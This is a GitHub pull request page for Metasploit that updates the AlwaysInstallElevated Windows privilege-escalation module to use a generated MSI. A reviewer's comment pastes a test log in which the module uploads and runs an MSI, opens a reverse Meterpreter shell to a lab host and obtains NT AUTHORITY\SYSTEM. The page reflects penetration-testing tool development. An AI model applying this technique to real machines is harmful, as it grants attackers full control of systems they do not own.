Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update AlwaysInstallElevated to use a generated MSI file #2436

Merged
merged 2 commits into from Sep 30, 2013

Conversation

Meatballs1
Copy link
Contributor

Also fixes bugs with MSI::UAC option, invalid logic and typo...

MSI also fails installation to allow multiple exploits (we have a static GUID for our installer).

Don't need to migrate as we don't have to cleanup a payload.exe file anymore.

@todb-r7
Copy link

todb-r7 commented Sep 30, 2013

Works for me, thanks for the fix

msf exploit(always_install_elevated) > exploit

[*] Started reverse handler on 192.168.145.1:4455 
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\Users\TODBEA~1\AppData\Local\Temp\UwpNbOU.msi ...
[*] Executing MSI...
[*] Sending stage (770048 bytes) to 192.168.145.179
[*] Meterpreter session 2 opened (192.168.145.1:4455 -> 192.168.145.179:51279) at 2013-09-30 11:04:47 -0500
[+] Deleted C:\Users\TODBEA~1\AppData\Local\Temp\UwpNbOU.msi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

todb-r7 pushed a commit that referenced this pull request Sep 30, 2013
@todb-r7 todb-r7 merged commit b306415 into rapid7:master Sep 30, 2013
@Meatballs1 Meatballs1 deleted the aie_update branch September 30, 2013 17:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants